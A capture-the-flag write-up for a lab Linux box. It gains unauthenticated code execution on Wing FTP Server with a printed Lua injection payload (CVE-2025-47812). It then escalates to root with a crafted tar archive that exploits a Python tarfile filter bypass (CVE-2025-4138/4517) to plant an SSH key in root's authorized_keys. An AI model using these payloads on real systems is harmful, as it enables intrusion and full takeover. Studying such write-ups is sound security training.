Overview
WingData is a hard Linux box that chains two distinct CVEs. Initial access is achieved through an unauthenticated RCE in Wing FTP Server via Lua injection (CVE-2025-47812). Privilege escalation exploits CVE-2025-4138 / CVE-2025-4517 — a critical Python tarfile filter bypass via PATH_MAX overflow — against a sudo-privileged backup restore script, writing an SSH key to /root/.ssh/authorized_keys and obtaining a root shell.
Enumeration
Nmap Scan
nmap -sV -sC -T4 --min-rate 3000 -p- -oN wingdata_scan.txt wingdata.htb
Two ports open:
- Port 22: OpenSSH 9.2p1 (Debian)
- Port 80: Apache 2.4.66 — "WingData Solutions"
Further subdomain enumeration revealed ftp.wingdata.htb — a Wing FTP Server web administration interface.
Initial Access — CVE-2025-47812 (Wing FTP RCE)
CVE-2025-47812 is an unauthenticated remote code execution vulnerability in Wing FTP Server versions ≤ 7.4.3. A null byte in the username parameter of the login form allows injecting arbitrary Lua code that is executed server-side. Command output is returned in the response body before the XML:
# Null byte terminates the username string and opens a Lua injection context
POST /login.html
username=anonymous%00]]%0d
local+h+%3d+io.popen(%22id%22)%0d
local+r+%3d+h%3aread(%22*a%22)%0d
h%3aclose()%0d
print(r)%0d
--&password=
A reverse shell was delivered through the same channel, landing a shell as wacky:
nc -lvnp 4444
User flag retrieved from /home/wacky/user.txt.
Post-Exploitation Enumeration
Checking sudo permissions for wacky:
sudo -l
(root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *
The script uses Python's tarfile.extractall() with filter="data" — a supposedly safe extraction mode — to restore client tar archives from /opt/backup_clients/backups/. Since wacky has write access to the backups directory and can supply any filename via the * wildcard, the extraction target is fully attacker-controlled.
Privilege Escalation — CVE-2025-4138 / CVE-2025-4517
These CVEs describe a critical flaw in Python's tarfile filter implementation: os.path.realpath() silently stops resolving symlinks once the expanded path exceeds PATH_MAX (4096 bytes on Linux). The filter uses realpath() to validate that extracted paths stay within the destination directory — but the kernel resolves symlinks independently, creating a TOCTOU gap that allows directory escape.
The exploit builds a chain of 16 symlink/directory pairs with 247-character directory names, inflating the resolved path to ~3968 bytes. A final symlink then appends ../ traversal sequences that realpath() cannot resolve (PATH_MAX exceeded), but the kernel follows normally — escaping to an arbitrary filesystem path:
# Generate the malicious tar
python3 exploit.py \
--preset ssh-key \
--payload ~/.ssh/id_ed25519.pub \
--tar-out backup_1001.tar
# Place it in the backups directory
cp backup_1001.tar /opt/backup_clients/backups/
# Trigger privileged extraction as root
sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py \
-b backup_1001.tar \
-r restore_pwn
The extraction writes the SSH public key to /root/.ssh/authorized_keys through the escaped symlink, creating the directory if it doesn't exist.
Root Access
ssh -i ~/.ssh/id_ed25519 root@wingdata.htb
Root shell obtained. Root flag retrieved.
Key Takeaways
CVE-2025-4138 is a sobering reminder that "safe" extraction filters can be bypassed through subtle OS-level behaviour. Any Python application on versions 3.12.0–3.12.10 or 3.13.0–3.13.3 that calls tarfile.extractall(filter="data") on attacker-controlled archives is exploitable. The fix is to upgrade to Python 3.12.11 / 3.13.4 or later.